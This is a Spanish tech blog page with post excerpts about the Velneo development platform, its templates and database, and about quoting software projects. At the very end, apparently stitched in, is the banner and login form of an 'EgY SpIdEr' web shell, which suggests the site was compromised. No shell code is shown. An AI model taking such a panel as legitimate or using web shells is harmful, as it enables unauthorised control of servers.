Lógica mente

Velneo, tecnología y empresa

Profesionalmente he tenido en mi vida 2 grandes mentores.

Mi amigo Paco Iñiguez, que me enseñó tantas y tantas cosas en mis primeros años de programador con sistemas de IBM y, mi amigo Juan Muñoz-Cobos que cambió mi vida en 1997 cuando le conocí en una presentación de Velázquez Visual. Al final me he convertido en nexo de unión de estas dos grandes personas que también se hicieron amigos.

El día que conocí a Juan ya pude apreciar que era un “tipo” especial. Ese día asistí a una presentación de Velázquez Visual 1.0 en Oviedo, me gustó tanto lo que vi o, mejor dicho, me impresionó tanto la presentación que Juan me realizó y la forma en que me transmitía sus conocimientos e ilusiones, que esa misma tarde me desplacé a Gijón a buscar un CD con la demo del producto. Me pasé el fin de semana probándolo y, aunque era la versión 1.0 pude apreciar que debajo de aquella bisoña versión había una obra de arte.

La amistad con Juan fue inevitable, migré a todos los clientes de sistemas AS/400 a Velázquez Visual. Aquel que conozca la robustez y fiabilidad de esos sistemas de IBM sabrá apreciar la fe que tenía que tener en aquel producto creado por un programador de Gijón. Durante años pasé por las oficinas de Ática, su empresa, en multitud de ocasiones y, siempre lo encontré sentado en su mesa con la mirada fija en el monitor. Velázquez Visual no era un trabajo para Juan, era su obra de arte, su vida. Trabajaba, comía y dormía en la oficina. Su mente estaba al 200% en el proyecto. Y los resultados llegaron a un ritmo increíble, años de 3, 4 e incluso 5 versiones.

El resultado de 12 años de desarrollo lo podemos apreciar en Velneo 6.4. Para muchas personas, Velneo 6.4 es un producto con sus defectos y sus virtudes, para Juan y los que le hemos visto “parirlo” es como un hijo. Cuando Juan le dice a cualquier persona que Velneo 6.4 lo desarrolló el sólo, hay muchos que no podrán creérselo. Una obra de esta magnitud parece imposible que pueda desarrollarla una sola persona. Pero sí, es cierto, Juan lo desarrolló durante 12 años, sin prisas, pero sin pausas, con todo el cariño y sin admitir la más mínima “chapuza”.

(more…)

FLOSS EUPL - plantillas empresariales Velneo

En el artículo ¿Qué es Velneo? definía detalladamente las plataforma de desarrollo de aplicaciones empresariales Velneo y también incluía la definición de la plantillas empresariales Velneo:

Las plantillas son código libre (FLOSS) que te permite crear aplicaciones en un tiempo récord. Las plantillas puedes implantarlas tal cual se entregan o personalizarlas todo lo que quieras. Existen plantillas para desarrollar soluciones de gestión integrada, TPV, CRM, Contabilidad y ERP

En este artículo me gustaría hablar de las plantillas, sus características, de su pasado, de su presente y de su futuro.

¿Las plantillas empresariales son aplicaciones?

Podrías instalarlas sin ninguna modificación y resultan operativas, sin embargo, nuestro objetivo al diseñarlas no era la de convertirlas en aplicaciones.

Como anécdota me gustaría comentar que cuando nació el proyecto Velneo en Septiembre 2005, el departamento encargado del desarrollo de plantillas, “vProducts”, con el fin de evitar llamarlas o diseñarlas como aplicaciones tenía una apuesta interna. Aquél que pronunciase 3 veces el término aplicación al hablar de las plantillas pagaría una cena a todo el equipo, resulta increíble el poder de las apuestas, nadie tuvo que pagar una cena :)

(more…)

App Store iconSoy usuario del iPhone 3G y no viví la primera etapa de la App Store, sin embargo analizando su evolución es evidente que Apple ha sido fiel a uno de sus principios básicos más importantes, la simplicidad, comentada por mi amigo Alfonso en su  artículo Lecciones de Steve Jobs (Parte 2) que también habla del éxito de Apple en su artículo 10.000 aplicaciones en la App Store, éxito que también había predicho en mi blog en las conclusiones de mi artículo Apple y el negocio del iPhone Developer Program.

He realizado una composición con 3 imágenes tomadas del iPhone para representar la evolución realizada por Apple en su aplicación App Store desde sus inicios:

(more…)

cambio de herramienta de desarrollo de software empresarialTras los interesante comentarios realizados por Manuel Tovar en el blog de Velneo, me he animado a escribir este artículo ya que creo que este tema es importante y en muchos casos complejo de resolver.

Resumiría el planteamiento que hace Manuel Tovar con las siguientes frases:

  • Tengo una base instalada de clientes ejecutando aplicaciones desarrolladas con un lenguaje de programación y una base de datos que son los que utilizo actualmente.
  • Tengo proyectos en desarrollo.
  • Tengo proyectos pendientes de desarrollar.
  • Llevamos retrasos en los plazos de entrega de los desarrollos a clientes.
  • Para comenzar con una nueva herramienta necesito formarme durante meses y eso supone necesitar más recursos.

En primer lugar quiero dejar claro que estoy completamente de acuerdo con Manuel en que la toma de decisión de cambio es compleja. Voy a tratar de comentar mi visión de como lo plantearía basándome en la experiencia vivida durante años con otros lenguajes de programación.

(more…)

En este tercer artículo que dedico a la base de datos modelo real de Velneo os traigo información de una de sus joyas “Las actualizaciones”.

Todo programador que lleve años desarrollando aplicaciones empresariales sabrá valorar el ahorro de horas y de quebraderos de cabeza que pueden suponer el uso de las actualizaciones en lugar de escribir líneas y líneas de código en triggers y posteriomente probarlas hasta su validación funcional.

A continuación te pongo un vídeo en el que te muestro lo fácil que es programar las actualizaciones en Velneo para que puedas comparar con el tiempo que te podría llevar hacer lo mismo con tú actual entorno de desarrollo.

Tags:
 

En este segundo artículos se describen los tipos de campos que soporte la base de datos de Velneo modelo real.

Respecto a otras bases de datos podemos encontrar las siguientes diferencias:

  • Los campos tipo alfa permiten ahorrar espacio en disco y además discriminan los espacios antes del primer carácter y después del último lo que permite su manejo con total sencillez a la hora de realizar concatenaciones. Además cada tipo alfa puede usarse de forma específico para almacenar datos sólo en mayúsculas, de códigos, etc.
  • Los campos de tipo objeto almacenan información muy variada pudiendo incluso guardar un email o cualquier tipo de fichero binario.
  • Los campos fórmula son muy utilizados ya que no ocupan espacio en disco, se calculan donde se usan.

En la siguiente presentación, que te recomiendo veas a pantalla completa pulsando en on SlideShare y luego en la opción Full se explican los tipos de campos, su contenido o función y el tamaño máximo que ocupan o que pueden almacenar.

Tags:
 

En los próximos artículos voy a describir las características de la base de datos de Velneo.

Cómo el título indica Velneo es un nuevo paradigma de base de datos. Un nuevo modelo diferente al conocido como relacional, en este caso se denomina modelo real integrado. Se le denomina real pues sus características le permiten crear diseños de base de datos más próximos al caso real que se plantea e integrado porque la estructura de la base de datos se integra perfectamente con todos los objetos visuales para formar un todo, una unidad que facilita enormemente el desarrollo y el mantenimiento de las aplicaciones.

A diferencia de lo que sucede con el modelo relacional. En el modelo real se pueden definir diferentes tipos de tablas. Cada tipo va a permitirnos especificar como se comportará en la tabla el campo código que será el campo que por defecto nos permite diferenciar de forma exclusiva cada registro con un código diferente que puede ser generado automáticamente por el gestor de la base de datos o grabado por el usuario.

En la siguiente presentación, que te recomiendo veas a pantalla completa pulsando en on SlideShare y luego en la opción Full se explican los tipos de tablas y se indican ejemplos de cada uno de ellas, se indica el comportamiento del campo código y se dan claves para conocer el tipo de tabla a utilizar cuando vayas a crear una nueva tabla en tu proyecto o mapa.

Tags:
 

Caja blanca softwareTras comentar en la primera parte de este artículo temas más relacionados con las formas vamos a analizar ahora aspectos directamente relacionados con los contenidos y sobre todo resaltando la importancia de separar con claridad los productos y los servicios en el presupuesto.

¿Por qué separar productos y servicios?

Si te fijas en tus actividades como cliente podrás comprobar que lo más habitual es que te vendan productos y que adicionalmente te den información de otros servicios. Volviendo al ejemplo de los coches. Cuando compras un coche suelen dejar muy claro que por un lado está la compra del vehículo y por otro el impuesto de matriculación, el seguro, la ampliación de garantía. Incluso dentro del producto se preocupan de dejar lo más claro posible las características del coche y de los extras que puedes adquirir adicionalmente.

¿Es correcto actuar de esta forma?

Pienso que sí. Estamos acostumbrados a que nos vendan así los productos y los servicios. Si no lo diferencias con claridad o los mezclas estarás generando dudas en el cliente final. Recuerda que la ambigüedad en los presupuestos siempre juega en tu contra.

(more…)

Caja blanca softwareEn el día a día de nuestro trabajo hablamos con muchas personas o empresas y, en algunos casos, los profesionales que están empezando a vender sus desarrollos de software empresarial nos preguntan ¿Cómo es la mejor forma de hacerlo?

Hacer un presupuesto de una solución de software a un presunto cliente puede ser una tarea entretenida o muy complicada. Lo cierto es que con el tiempo y la experiencia vas aprendiendo de tus propios errores hasta conseguir un método que funciona.

En primer lugar hay que distinguir claramente entre una solución estándar y una solución a medida. En el primer caso lo más habitual hoy en día es encontrar gran cantidad de información del producto en la página Web del fabricante. En muchos casos esa misma Web dispone de una tienda online en la que podremos adquirir el producto, descargarlo y activarlo. También pueden ser soluciones estándar que se vendan con un sistema más tradicional de envío de presupuesto por email o incluso por correo o presencialmente aunque seguramente estamos hablando ya de soluciones con un coste mucho más elevado.

(more…)

Velneo rombo 150En muchas ocasiones me preguntan ¿Qué es Velneo? por ese motivo he decidido escribirlo en mi blog y dar está URL como respuesta a partir de ahora. Por supuesto, se admiten sugerencias para mejorarla en su comprensión. De momento está es la versión beta 0.5 de la descripción.

Su definición es:
Velneo es una plataforma de desarrollo de aplicaciones empresariales.

Vale, muy bien y ¿Qué es una plataforma de desarrollo de aplicaciones empresariales?

Son un conjunto de herramientas que te permiten desarrollar, implantar y mantener aplicaciones de escritorio y Web para dar soluciones a proyectos empresariales.

(more…)

Page 1 of 212
EgY_SpIdEr ShElL ';

EgY_SpIdEr ShElL

EgY SpIdEr ShElL

User:
Password:



Developed by EgY SpIdEr · copyright © & EgY SpIdEr